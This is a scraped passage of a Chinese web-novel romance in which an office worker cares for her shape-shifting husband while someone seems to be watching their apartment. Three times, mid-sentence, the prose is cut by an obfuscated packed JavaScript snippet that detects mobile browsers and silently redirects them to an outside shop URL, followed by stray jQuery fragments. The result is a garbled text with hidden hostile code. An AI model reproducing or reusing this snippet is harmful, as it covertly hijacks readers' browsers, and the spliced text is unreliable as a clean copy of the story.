俩人脚步渐远,跪坐在地上的裴矜撑着桌角费力地站起来。她现在的两条腿已经感觉不属于她自己,又酸又胀,还有微微的刺痛感。要不是地上有张毛茸茸的小地毯,她这一跪下去得直接去医院报道。 两只手撑在桌子边缘缓步移动,还没等裴矜落座,门外又传来一阵敲门声。 裴矜看了眼近在迟尺的椅子,扯着嘴角喊了一声:“进来。” 进来的是吕恪,他手里还捧着一堆资料文件,疑惑地看着内八字,腿疯狂打摆子的裴矜,面露担忧:“主任,你还好吗?” 不好!一点也不好! 内心抓狂,脸上不动声色。裴矜费力地坐下后挤出一个比哭还难看的笑容:“没事,就是早上出去跑步感觉腿有点酸。你找我什么事?” “是早上主任你要的历年资料,还有一些别的部门的档案。”吕恪把资料分门别类地放在桌上,“重点文件已经用标签纸做了标注,借阅抽调手续也都办好了。主任你先过目一下,有需要的部分我再做影像化处理。” 做事考虑周全滴水不漏,裴矜大致速扫了一遍,与她的设想基本差不多。她点点头道:“小吕辛苦你了,资料我会再看一下。”她抽出几份交给吕恪,“这几个你做了标注的帮我复印一下,然后扫描给唐蜜,她知道该怎么处理。” “好的,主任。” 吕恪拿着文件出去,过了一阵子,他端了一杯茶和一瓶药油再次折返。 “主任,这个药油是我老家的特产,要是有拉伤和扭伤,擦上去不出三天就会好。” 裴矜摆摆手,只接过茶:“小吕,那么珍贵的东西你还是留着自己用吧,我又没什么事,用不着这些,心意领了。” 吕恪缓慢摇了摇头,把药油往裴矜桌上一放:“主任,你曾经和我说过身体是革命的本钱,还请你自己要以身作则。”他顿了顿,露出一抹苦涩的微笑,“就当是你让王部长帮我解围的谢礼吧。” 他发现了啊,明明自己藏得还挺好,居然也会被他知道。 做好事不留名的裴矜骑虎难下,手指在瓶身上点了点,最后还是收下了:“只此一次,下不为例。” 吕恪的面容这才变得柔和一点。裴矜思考了一下,询问道:“你父亲……后面怎么样了?” “还是老一套,习惯了。”吕恪轻叹了一口气,依旧微笑着,“不好意思啊主任,几次三番让你看到我最丢人的一面。” “不会啊。”裴矜摆摆手,“我们是凡人,凡人哪儿有不烦的,不烦的都到天上做神仙去了。” “哈哈,是啊。”吕恪的目光柔和了许多,在裴矜的脸上留恋了片刻才转移至桌上的文件,“你之前也是这样对我说的,那么多年了,还是如此。” 嗯?听吕恪的口气,好像他们是认识很多年的老朋友一样,她之前有认识他吗? 裴矜自己的记忆力比起金鱼齐北宸要好上许多,大脑引擎一键加载疯狂运作,愣是没从任何数据库里找到吕恪相关的信息。 一口气憋在心里不上不下太难受,裴矜微蹙眉头试探性询问:“我们之前有见过?” 吕恪停滞了一瞬,嘴角微扬:“是的,主任。不是最近,是很多年前。我们接触的时间不久,也没交换过彼此的姓名,所以你对我没有印象也很正常。” 原来是这样一回事,难怪她回忆不起来。 裴矜点点头,了然地笑道:“希望当时的我没有给你留下太坏的印象。” “主任不要妄自菲薄。”吕恪的笑容如一阵清风拂过,双目注视着裴矜,“不夸张的说,要是当时我没遇到主任,就不会有今天的我。” 千穿万穿,马屁不穿。一般的彩虹屁对裴矜效果几乎为零,但对象说得那么真诚,还是她最信任的下属,说一点不自傲是假的。 “叮铃~” 内线电话铃声打断了两人的回忆模式。 裴矜清了清嗓子接起电话,电话那头传来王部长的声音,他正絮絮叨叨地和裴矜布置新任务。 吕恪见状,收回了眼神不再逗留。他和裴矜比了个自己先走了的手势就带着文件离开了。 斜阳浅照,打工人繁忙的一天正缓缓沉入暮色里。 擦完药油,裴矜的双腿虽有些缓和,但依旧酸胀。 步伐放慢,一步一摇。勤俭持家的裴主任硬着头皮上了地铁,在角落附近找了个空地站着,就被人轻轻拍了拍。 一个看上去和她年纪差不多大的人主动给她让座,满脸写着关切。 “你坐吧,我没几站就下去了。” “没事没事,你坐。” 推拉了几个回合,裴矜最后还是坐了下来,一张老脸不知该搁哪儿去。 要命了,她长那么大都是她给别人让座,今天一整个倒反天罡。 地铁这关是挨过去了,下地铁到家还有一段路得磨。裴矜光是脑补了一番就想离开地球表面。 脑补是脑补,现实并不会因为裴矜的内心有分毫改变。下了地铁站,人山人海排队刷卡,裴矜一脸苦菜花地放空时,对面有人冲着她疯狂招手。 是齐北宸。 他戴着顶渔夫帽和黑色口罩,几步走到围栏边上帮裴矜接过包包:“还好吗?还能走吗?” 这个大笨蛋,自己的变狗病还没治好,还有闲情逸致担心她。 “我能有什么事啊。”裴矜刷完卡,一步一拐地挪出地铁站,“那么热的天,你站着多久了?也不知道给我打个电话告诉我一声。” “想来就来了,今天结束早,陪老婆不行吗?”齐北宸弯腰打量了一遍裴矜,“你啊,全身上下就这张嘴最硬。” 裴矜撇嘴:“行,当然行。你齐大公子说什么就是什么,我哪儿敢说你的不是。” 齐北宸的眼珠子一转:“裴矜,这可是你说的。” 他把裴矜的包斜挎在肩膀上,背对着裴矜蹲下身:“皇后娘娘请上座。” 大庭广众的,他还要不要脸了! 裴矜的嘴唇一翕一张,一时间不知该说什么。周围来来往往的人,走过路过都朝着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17784882|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 他俩身上瞥。 脸皮薄的裴矜急得拍了他肩膀几下:“你干嘛啊,我能自己走,大家都看着呢。” 齐北宸不依不饶:“皇后娘娘不上来,小的就不走了。” 他铁了心和自己唱对台戏! 打又打不过,骂了也没用,裴矜拧了他的胳膊一下,双手勾着他的脖子趴在他背上。 齐北宸轻松起立,两只手一边一个从裴矜的膝窝里穿出稳稳抓住:“娘娘坐稳了,咱们起驾回宫!” 别回宫了,右转去陵园得了。她今天的社死含量超标厉害,可惜不能拿来冲KPI。 背上挂着个人,却一点不影响齐北宸前进的速度。他边哼着歌,边调节着姿势。 算了,有个厚颜至尊替她驱邪避灾,要社死大家一起社死,他齐北宸都不介意,自己矫情什么? 安慰自己几分钟,心里也没那么憋屈了。 挂在人身上只享受不出劳动力容易闲不住,裴矜看着他耳后那块变成小泰迪期间被自己不小心揪掉的头发,手指戳了戳:“齐北宸,你头发长得还挺快嘛。” 齐北宸笑笑:“那是我吸收好。” 裴矜的手指又戳了戳他的肩膀:“你还说我是花岗岩呢,自己也不是大理石一块。” 齐北宸轻哼:“裴小姐,我这是肌肉,不是装饰。背上挂着个你,我得用力,不然怎么托得住?” 裴矜不服气地又戳了戳:“齐少爷爱吹牛人尽皆知,你就闭着眼睛瞎说吧。” 齐北宸停下脚步侧过头:“那不然咱今天晚上试试?看我是不是瞎说。” 周围都是人,他就不怕被人发网上去! 裴矜的胆子不到一分钟就宣告破产,她沉默着脸红锤了齐北宸好几下。齐北宸也不说话,但他的肩膀止不住地抖,眉眼都弯成月牙状。 穿过马路,走过一排排梧桐树,齐北宸背着裴矜来到公寓楼下,正好遇上了下楼散步的张阿姨。 张阿姨停下脚步点点头:“回来了啊。哎哟小裴,你这是怎么了?” 裴矜没脸说自己逞强腿走不了路,含糊其辞:“没什么大事张阿姨,就是肌肉有点拉伤。” “那得好好养一下,都说伤筋动骨一百天,别以为自己年轻就不当一回事。”张阿姨思索了片刻,又转而和齐北宸嘱托,“我这儿还有几贴膏药,治疗拉伤很好,也不伤皮肤。小齐你回头来我这儿拿一点过去。” 齐北宸答应得飞快:“还是张阿姨疼我们,那我也不客气了,谢谢您!” 厚脸皮,怎么能无缘无故拿人家东西! 裴矜还没出口反驳就被张阿姨施法打断:“都是邻居,客气什么。小裴,你就好好养病吧,看你们小齐多宝贝你。” 反驳的话说不出口,裴矜只好陪着笑容目送张阿姨离开。 两人搭电梯上楼进入室内,齐北宸把裴矜放在椅子上,略微活动了下胳膊,脸不红气不喘,仿佛他刚刚只是顺手带着个洋娃娃回家。 人比人气死人,凭啥他没事自己就和林妹妹一样,裴矜酸得冒泡。 没等她酸多久,闻到裴矜包里奇怪味道的齐北宸率先发问:“老婆,你包里装什么了?怎么一股药味。” 36. 齐婆卖瓜 裴矜这瓶还没起开的酸可乐被迫闷罐。 是不是变狗久了,连身体素质都潜移默化受到影响?隔着那么大一个包都能闻到药味,齐北宸你的狗鼻子这时候那么灵做什么。 想起上次小泰迪齐北宸和吕恪之间的摩擦,裴矜不打算坦白。 又不是所有狗狗都有侦查意识,齐北宸这个连自己喝过可疑药水都能忘掉的马大哈,可能不会记那么清楚吧? 脑内复盘完毕,裴矜轻咳一声,随口回答:“公司的人看我走路奇怪顺手给的,你鼻子挺灵,隔着包就闻出来了。” 齐北宸拿着包的手一滞,眼睛一眯,锐利的目光扫向裴矜:“谁啊那么贴心,我认识不?” 他怎么还没完了。 裴矜迟疑地点头:“算认识吧。” “哦~”齐北宸把包交给裴矜,在客厅里来回走了一圈,“是那个吕恪?” 齐北宸,你是警犬转世吗? 裴矜硬着头皮嗯了一声,眼睛盯着前方地砖,不敢看齐北宸一眼。 齐北宸笑了笑:“难怪闻到一股茶里茶气的味道,这就对上了,洗手吃饭吧。” 裴矜有时候宁可齐北宸发火也就罢了,这样阴不阴阳不阳的,一顿饭吃得比坐牢还难受。 两人用过晚饭,齐北宸洗完碗筷,带着水果去了张阿姨家,拿着几帖药膏回来。 “张阿姨给的灵丹妙药,回头给你贴上。”齐北宸看到那罐被裴矜放在小角落里的药油,嘴角一勾,拿到手里把玩,“老婆,别人特意给你送的药,放在小角落里多不合适啊,好歹是一份心意嘛。” 这哪儿是心意,分明是夺命暗器。 裴矜只觉得自己今天一天的脸部肌肉都在抽搐,咽了口口水解释:“不是你说茶里茶气的嘛,就没敢放太显眼的位置。” “诶~话也不能这样说。”齐北宸打开药油盖子,扇了扇浅闻了下味道,“东西不错,就是送东西的人不知道药油的妙用,还得交到会伺候的人手里才能发挥功效。” 难道他还另有准备? “好了,你休息一会儿就洗澡去吧。”齐北宸摆摆手,把盖子重新盖上,“一会儿让你见识一下我的厉害。” 他好像没太生气的样子? 裴矜勉强放下心,说服自己别多想。 半个多小时后,裴矜洗了个热水澡,虽然舒畅了许多,但腿还有点不舒服,连带着胳膊也微微泛酸。 她穿着睡衣坐在沙发上,齐北宸拿着电吹风站在她身后提她吹头发。 裴矜一开始是拒绝的,可齐北宸很坚持,说什么都不让她自己动手:“我变成小狗的时候你也一直给我吹毛的,给老婆吹吹头发怎么了。” 事已至此,放松享受呗。 暖风阵阵,吹得裴矜昏昏欲睡。半梦半醒之际,放松下来的裴矜问了一句:“你今天来地铁站接我,怎么把自己裹那么严实。之前你在小区门口也就一套居家服出来了,是遇到了什么事吗?” 齐北宸吹完头发把吹风机放在一边,打了一盆洗脚水过来。他蹲下身把裴矜的两只脚浸泡在热水里,语气里带着几分严肃:“有可能是我多心了,但我总感觉这几天好像有人在盯着我们。” 听齐北宸这样说,裴矜睁开了眼:“确定吗?这俩天我们都不在家,家里有监控,不行我翻翻。” “不确定,但愿是我多心了吧。”齐北宸揉揉裴矜的头,“我就随口说那么一句,你别那么紧张。” 这叫什么话。 裴矜不假思索,冲口而出:“这是我们家哎齐北宸,你说话要摸着良心。” 脚盆里的水顺着齐北宸的手指缓缓流下,淌过裴矜的脚背,形成一道优美的弧线。 “我们家?嗯~”齐北宸轻声重复了一遍,笑容渐渐扩大,“老婆说的在理,爱听!”他停顿了一下,又换上了熟悉的语气,“不说这些不开心的了。请问皇后娘娘,小齐子可以为您继续效劳了吗?” 去他的皇后娘娘,嘴巴那么甜,一准儿后面憋着什么大招没使出来。 裴矜不说话,只微微颔首。 得到命令的齐北宸把裴矜的脚从脚盆里拿出来,用毛巾擦干,自己拿了个稍矮的小板凳坐在裴矜对面,把她的脚放在自己大腿上,裤腿微微上卷至膝盖处。 “下面是见证奇迹的时刻,别眨眼。” 齐北宸把吕恪的那罐药油拿过来打开,倒出些许用手掌摩擦了几下,才均匀地涂抹在裴矜的小腿肚上。他的手掌宽大,手指修长有力,沿着裴矜的小腿由上而下又由下而上来回涂药油。 清凉薄荷味的药油透过皮肤一点点渗入肌理,带来一丝酸涩微麻的感觉,被药油涂过的地方有些微热却没任何不适,裴矜舒服地轻哼了一声。 “我的手法不错吧?”齐北宸的声音上飘,眉毛都跟着挑了几下。他涂完一只脚,又换了另一只脚继续按摩,“这两天别再剧烈运动了,明天早上早起半个小时,我陪你散散步。不然接下来的几天,你的胳膊、小腹都会喜提你的腿部同款跪得容易套餐,我可没和你开玩笑哦。” “知道了。”裴矜这次可不敢再夸下海口了,她瞥了齐北宸一眼,“本宫日理万机,难免会睡过头耽误时辰,小齐子有没有叫醒服务?” 齐北宸涂完药油,擦擦手,帮裴矜整理好裤腿:“那不是娘娘一句话的事嘛。您说说,是我伺候得好,还是小吕子伺候得好?” 前面不发火,原来是在这里等着她。 天天和齐北宸斗智斗勇,裴矜也精进了不少技艺。她单手托腮假装思考:“这个嘛,不好说。” 齐北宸单边眉头一皱,发出怪叫:“啊?” 裴矜学着他的样子掰手指头数:“小吕比你年轻,此乃一胜;小吕比你温柔体贴,此乃二胜;小吕比你耐心好听得起批评,此乃三胜。”说着她还戳了戳齐北宸鼓鼓的腮帮子,“你有什么呀?嗯?” “不对不对,你说的不对!”齐北宸倏地站了起来,手指比着数字反驳,“我比他年纪大这叫年上的熟男魅力,对方一败;我变成狗狗了都能照顾你,他不具备这种能力,对方二败;我可以挨我老婆打、被拖鞋抽屁股,他没尝过这种强度,对方三败。” “明明是我大获全胜,你却在这儿颠倒是非黑白,胳膊肘往外拐。”齐北宸越说越委屈,最后干脆趴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787374|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 在沙发上,只露出两只眼睛,“老婆,你不能钓着家里的狗,还惹外面的狗。狗狗的心脏很脆弱,被你这么玩来玩去会哭的。” 看上去是真委屈,不像演的。逗狗不能逗太狠,不然以他这狗脾气说不定真叼着金饭碗出去当流浪儿童了。 裴矜低垂着头看向齐北宸:“你可不能乱吃飞醋冤枉我,除了你,我哪儿招惹过别的狗了?” 齐北宸哼了一声:“走到哪儿都有人献殷勤,别人的都是宝,合着我才是那根不起眼的小野草。” 这是在撒娇吗?这应该是在撒娇。 裴矜笑着捏捏齐北宸的脸:“别人家的宝是别人家的,和我没关系。我只知道我家这个不是野草,是昆仑山上的仙草,身娇肉贵的,一不小心就会被人摘了去。” 她伸出手,对齐北宸发出邀请:“请问尊贵的仙草先生,能不能麻烦你运用法力帮帮我这个凡人去卧室?” 前一秒还侧着头的齐北宸立马转了过来,两眼放光:“本仙君乐意效劳,老婆大人,请。” 搀扶着裴矜进入卧室,帮她上床铺脱鞋子。一切准备完毕,齐北宸还主动替她盖好被子:“明天早上我会喊你起床的,减肥不急于一时,我们慢慢来好吗?” 仰躺在柔软的床铺上,裴矜抬头望着齐北宸精致的眉眼,点点头:“好,都听你的。” “老婆真可爱,明天见。” “晚安。” 室内随着齐北宸的离去陷入一片黑暗,裴矜的眼睛始终没能闭上。她直愣愣地看着窗外的霓虹灯光散碎地投射在黝黑的天花板,心里被一种特殊的情绪渐渐发酵。 很甜,有一点酸涩,还有一点小小的惊喜。 波澜无痕的人生不知不觉中悄悄发生了改变,而她想记住这样的感觉。 第二天早上,裴矜彻底意识到齐北宸在健身领域的权威性。双臂、小肚子、双腿,只要动一动就酸胀不已,走几步和灌了铅一样。 为了配合裴矜,齐北宸没有和往常一样去晨跑,他陪着裴矜散步了半个小时。 俩人回到家用过早餐,仍然感觉不适的裴矜果断打开电脑给王部长发了个休假流程申请。明天就是周六了,公司积压的事情不多,她可以在家休息调整一下。 裴矜请假,齐北宸却要去工作。夫妻俩人角色对调,裴矜在门口送齐北宸离开,把车钥匙递过去:“路上开车慢一点,听车载音乐音量太大伤耳朵。” “好,老婆。”齐北宸穿戴整齐,临走前不忘叮咛,“你要是感觉不舒服,就把张阿姨的膏药贴上去。王妈中午就会过来,凡事别逞强。” “嗯,知道了。” 送走了齐北宸,房间里只剩下裴矜一人。 空荡的房间少了一个人略显单调,裴矜甩甩头,开启了她的今日计划。 拿出狗毛罐头打开,架好平板,翻出之前收藏的视频。裴矜打算根据视频流程用齐北宸的狗毛制作一只小齐狗出来。 用小狗毛做一只小狗给小狗本人,不知道齐北宸看到会有什么反应。 正当裴矜沉浸式观看视频的时候,大门门锁毫无预兆地发出“咔哒”一声响。 37. 不速之客 听到声音,裴矜按下了视频暂停键。 她冲着门口喊了一句:“哪位?” 没有人应答,开门锁的声音也跟着消失了。 裴矜站起身又喊了一句:“是有人敲门吗?” 窸窸窣窣的声音没了,一切仿佛是裴矜的幻觉般恢复了安静。 该不会真被齐北宸说中了吧? 不安的感觉萦绕在心头,裴矜撑起身体,一瘸一拐地来到门口,透过猫眼朝外望去,只见到一片黑色卫衣的衣角从视野擦过。 裴矜等了一会儿,确保对方没有返回后打开了门。走廊里空无一人,一阵风吹过,扬起些许灰尘,显得安静又诡异。 事情看来没有那么简单,得查一下。 回到房间把门关好反锁,裴矜打开小梅屋助手APP切换镜头,翻看录像。这一看就持续到了王妈来上钟。 经过几个小时的高强度回顾,裴矜得出了一个好消息和一个坏消息。 好消息是室内所有场景都没拍摄到有可疑分子入侵的痕迹。坏消息是监控范围只到门内,门外区域是死角,只能靠猫眼实时监控。 家里的情况有点奇怪啊。 裴矜平时在外面上班,不太关注工作日时的家里动态,只能询问王妈:“王妈,最近家里来过什么奇怪的人吗?” 王妈停下手里的活,认真回忆:“没有,就是最近我们这层送快递的来了很多。” “快递是送到我们家的吗?” “不是,我看大部分是送到对门张阿姨家的。” 裴矜又去敲门询问了张阿姨同样的问题,张阿姨的回答更加匪夷所思。 “说起来也奇怪,我家没买过什么东西,但这段时间老收到快递。打开一看,里面都是一双筷子、一块小毛巾这样的,我还以为是抽奖中的奖品。” “张阿姨,你有看到过送快递的人长什么样吗?是不是同一个人?” “我平时不太注意这些,只记得那个送快递的每次都把自己捂得很严实,穿着防晒服。”张阿姨见裴矜脸色不对,又问了一句,“小裴,你和小齐不会遇到什么事了吧?” 裴矜不想给邻居添麻烦,摇摇头:“没什么张阿姨,我就是随便问问,你别多想。” “你的腿好点了吗?” “好多了,谢谢你的药膏,很有用。” 张阿姨这才放下心来:“有用就好,有事随时找我。” 裴矜嘴上说着没事,心里的谜团不止没有消散,反而随着两人的回答进一步扩大。她回到家,驻足在门槛附近望了片刻,拿出手机拍下照片,发给梅由谨。 裴矜:小梅,我想在这里追加一个摄像头,你看是否可行? 梅由谨:可以,但是这样一来摄像头对准的是你家门外访客区域。 裴矜:我要的就是这种效果。 梅由谨:裴小姐,我多嘴问一句,你和齐哥是不是遇到事情了? 这个梅由谨,平时看着吊儿郎当的,没想到还挺机敏的。这段时间相处下来,裴矜对他还算信任,于是大概和他说了自己的怀疑。 梅由谨:你和齐哥的担忧不无道理,摄像头我会尽快安排好的。这次我就不托快递来送了,齐哥今天在外面我让他回头来我这里取。 梅由谨:摄像功能我也打算升个级,这几天暂时不可用。升级完成后会提升收音功能,新增录音、放缩暂停画面、提示预警危险信号三个新功能。 梅由谨:这几天你和齐哥别太招摇,防范于未然总是不会错的。 裴矜:非常感谢你小梅,我就等你的好消息了。 联系完梅由谨,裴矜给齐北宸也发了个消息,通知他结束工作记得去拿摄像头。做完这一切,她给自己倒了杯水,重新坐下摆弄她的狗毛罐头。 做手工让人沉迷,时间打发得异常快。 小狗毛轻、飘、软,齐北宸的狗毛品种不尽相同,处理起来比一般狗毛还要麻烦。裴矜刚开始还看视频教程,后面发现有些视频并不太适用,还是王妈提点了自己几句,才豁然开朗。 严重低估制作工期的裴矜花了足足一天才勉强做完一只小齐狗,她把中奖的钥匙圈拿出来,挑选了薄总正装款给扣上,左看右看,满意到不行。 “看什么呢,那么入神,连我回家都不管了。” 齐北宸手里捧着摄像头盒子从外面回来,一眼看到了裴矜手上的钥匙圈。 眼力甚好的他大老远就看出了钥匙圈上扣着的是什么,嘴角疯狂上翘:“哟,老婆,没看出来你还是薄总的粉丝呐。” 他怎么一点声音都没有,这下好了全被他给看到了。 裴矜瞳孔一震,很快又恢复平静:“顺手抽奖抽中的罢了。狗男人配小狗,搭配多完美。” 齐北宸轻笑一声,笑容不减:“老婆,光这样还不够完美,你得把东西送出去,让狗男人带着招摇过市才算完美。” 切,又被他给看穿了。 裴矜有些恼怒,嘴巴撇了撇:“是嘛,现在那么多小狗,我得好好挑一个把东西挂上去。” 齐北宸把摄像头放在桌上,自己半蹲在裴矜面前歪着头,手握成拳头放在脸颊两侧:“汪~汪!” 不愧是有过丰富变狗经验的人,叫得又响又像,他赢了。 裴矜弯了下嘴角,揉揉齐北宸的头发,才把钥匙圈放在他手心里:“看在你叫那么甜的份上,赏你了。” 齐北宸双手捧着接过:“谢主子隆恩。” Q版薄总旁边挂着一只和本体差不多大小的泰迪犬,熟悉的老抽色,卷卷的狗毛,粗短的小爪子,每个细节都做得活灵活现。 齐北宸拿着钥匙圈看了半天:“老婆,我变成那么多只狗了,为什么最后你会做成'小土匪'款,而不是别的款啊?” “因为那个更有纪念意义啊。”裴矜收起桌上多余的狗毛,“要不是我那天大发慈悲地把你捡回家,你连金饭碗都拿不到就得去外面乞讨了。啧啧,真是惨。” 齐北宸狡黠一笑:“是吗?我怎么感觉你有别的意思?” “啊?还能有啥意思?你说说。” “比如……那天老婆是第一次全方位触摸了小狗,所以得对小狗负责?”齐北宸说着还往裴矜面前凑了凑,距离她极近,“自己捡回家的狗,含泪也得养下去。” 臭不要脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17793316|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 的,又来这套。 裴矜把还没挂上挂饰的私服薄总钥匙圈收好,轻推了下凑过来的齐北宸:“讨厌鬼先别闹了,我有正事和你说。” 裴矜把今天白天遇到的事和齐北宸大致说了一遍,重点强调了那个正体不明的快递员。齐北宸的脸瞬间变得严肃了不少:“张阿姨也这样说,那证明我之前不是看错了。还好你今天没有立刻开门,否则后果不堪设想。” 夫妻俩人安装好摄像头,裴矜又告诉了齐北宸另一件事:“王妈和我说,下周她儿子结婚要回次老家,大概一周都不会来。家里现在这样,我们俩都上班去了,会不会有事?” “这个我也考虑过了,我打算下周就换锁,现在的门锁太不安全了。”齐北宸给裴矜看了最新款的虹膜指纹锁,“工程有点大,我让小姐夫在帮我参谋。” 裴矜看了看门的设计,点点头:“姐夫的眼光我信得过,这几天我们小心点就是了。” “嗯。对了,刚刚去小梅屋,小梅把这瓶药交给我了。”齐北宸晃了晃一瓶透明的药物,“他说我的情况没小姐夫稳定,喝下去可能在几天内还会变成狗。正好咱家不太平,不然就让我在家镇宅吧。” 裴矜反对:“这会不会太危险了。” “总比家里没人遭贼强。” “万一不是贼呢?” “那更不能在新门没到之前让你独自面对了,老婆。”齐北宸双目直视着裴矜,“你想,要是今天对方直接破门而入,你一个没准备的女性能做什么?损失钱财也就算了,我担心的是你。” 他是有好好考虑这个家,但是这个家里有的不止他一个人。 裴矜心里认同齐北宸的说法,嘴上依旧迟疑:“我一个人不能面对,你要是变成小狗一只也没杀伤力啊。” “我会叫能跑,对方怎不能提前预知家里有个宠物狗吧?外人不知道我会变成狗,这是我的优势。”齐北宸微微勾唇,“小梅不是答应替我们升级系统吗?这几天下来硬件、软件都能提升。如果家里有事,你还能通过APP给我预警,所以给彼此多一点信任好吗?老婆。” 他都说到这个份上了,她还能怎么着。 裴矜犹豫着点了点头,目光落在齐北宸带回来的药上。 哎,事到如今,只能希望小梅的药给点力了。 周末在家两天,齐北宸喝药,裴矜养腿。夫妻俩的日子过得还算轻快,两人心照不宣的疑虑都被压在心底,无人提及。 王妈是周二一早走的,小梅屋的设备升级在周二晚些时候才搞好。身体各处基本已经恢复的裴矜和齐北宸饭后调整完摄像头的摆放位置,又确认了小梅屋助手APP的新功能都能正常使用。 然而事情的发生总是那么不讲道理。 俩人甫一进屋,本来什么事都没有的齐北宸不自觉皱起了眉头,脚底打飘了一下。 就在他身边的裴矜立马注意到了不对劲,搀扶了他一把:“怎么了?是不是身体不舒服?” “嗯,是有一点。”齐北宸点点头,站起身体,“我现在感觉骨头很酸,可能又要变成狗了,但这次体感没之前那么难受。抱歉老婆,我要先回房了。” 38. 汪娜丽莎 裴矜应了一声,把空间交还给齐北宸,不做打扰。 她打开平板,就坐在客厅的沙发上,面对着齐北宸房间的方向。平板上播放的电视剧里演了什么,裴矜一分钟也没看进去,她满脑子都在担心门背后的那个人现在怎么样了。 时间一点一滴地流逝。 大概一个多小时后,虚掩的房门从里面被推开,发出“吱呀”一声,一只体型硕大,拥有华丽毛发的阿富汗猎犬探出头来。 “老婆。” 齐北宸迈着优雅地碎步跑到沙发边,转了个圈:“我这次的造型好不好看?” 如绸缎般丝滑的毛发,挺拔的身材,深邃的眼睛,走路都自带贵族气息。 裴矜脑袋里闪过一句知名广告台词,并加以改变。 汪中贵妇小齐狗。 噗。 裴矜没忍住逸出一声笑。 齐北宸立即视线扫了过来:“老婆,你笑得很可疑哦。” “咳,我只是一时间不太适应你这个造型。”裴矜把平板关上,感受着丝滑的狗毛,“这毛质地真不错,比以往的都好。” 齐北宸表情呆滞:“你就那么想薅我的毛?” “薅了也是有用的,你只能变身48小时,过期不候多可惜。” “那我抓紧时间给你多攒点毛?” 齐北宸说着往沙发上一趴,两只前爪交叠,后爪收起掩盖在毛发下,大型犬的骨架直接占满了整张沙发。额前过长的狗毛呈中分状,一半别在脖子后,一半自然垂落在眼前。 这画面好像狗子界的杀马特贵妇。 裴矜咬着牙不让自己笑出声,不断地抿嘴克制。齐北宸注意到她反常的举动,还抛了个媚眼,歪起狗嘴一笑:“老婆,我是不是特像蒙娜丽莎?” “像,噗……是听像油画上的贵妇人。”裴矜颤抖着声音,“要不要我给你拿面镜子来看看?” 齐北宸自信一甩头,中分变成三七开,几根狗毛像海带丝一样垂在眼帘前:“不用,真美狗从不回头照镜子。” 裴矜越看越觉得自己珍藏已久的发夹丝巾特别适合这个版本的齐北宸,她回了次自己的房间,拿出梳子给齐北宸梳毛:“乖乖别动哦。” 齐北宸狗尾巴一甩:“好,老婆记得给我打扮漂亮一点哦。” “知道了。” 臭美狗,看她怎么爆改成功。 裴矜梳完狗毛,把柔顺的毛发梳到脑后,用蝴蝶结发夹盘起,狗脖子上系着一块丝绸方巾。裴矜左看右看总觉得缺了点什么,最后回到房间把她的蓝光眼镜给架在狗脸上。 “我好了。来看看我的得意之作!” 齐北宸跳下沙发,走到落地镜前转了几个圈,转过头吐槽了一句:“这就是你的得意之作?裴矜,没想到你还挺自恋的。” 裴矜不服:“我哪儿自恋了?” “你自己看看,这像谁。”齐北宸狗爪子轻点镜面里的自己,“又是盘头又是方巾的,谁家贵妇整得和职场白领似的。” 它歪了下狗头,往裴矜的方向走了几步:“啊呀,为什么我家老婆要把一条大美狗爆改成和自己相似的模样呢?好难猜哦~” 齐北宸不说,裴矜还没注意到。他的身上带着她的影子,这种感觉居然还挺不错的。 裴矜把东西从齐北宸身上拿走,给他绑了两条麻花辫:“难猜就不瞎猜了。说真的,你现在这个体格还真挺有镇宅猛犬的气势。” “阿富汗猎犬嘛,攻击力还不错。如此一来我独狗在家,你也好放心一点。”齐北宸梳完头发抖了抖身上的毛,“老婆,今天晚上我就睡沙发。你明天还要上班,早点休息,别想太多了。” 裴矜脚步一顿。 他不是老喜欢往她床上拱要捍卫权益吗?怎么今天主动要求要睡觉沙发了? “狗之大,一床塞不下,这点自我认知我还是有的。”齐北宸趴在沙发上,两条麻花辫晃啊晃,“而且我们家最近被阴沟里的老鼠盯上了,作为男主人,我得尽点义务。” 平时只会汪汪乱叫,关键时刻还挺有男子气的嘛。 裴矜摸摸狗头,给他找来一条小毯子盖上:“好,辛苦老公了,当心着凉。” 齐北宸主动蹭蹭裴矜的手心,一人一狗粘糊了好一会儿才分别去睡觉。 当天夜晚过得还算顺遂,无事发生,除了半夜的风雨有些声大,并没有其他值得留意的事。 周三早上,阴雨绵绵。 打工仔裴矜望着窗外风云突变,心里不知为何有点担忧。 “我要不今天也请假一天在家算了。” “老婆,工作重要,你就放心上班去吧。”齐北宸语气坚持,“你要相信我,能守好我们的家。” 话说到这个份上,裴矜也不好多说什么。离开家时,她盯着齐北宸看了许久才转身下楼。 屋漏偏逢连夜雨,家中是多事之秋,职场上也非一帆风顺。 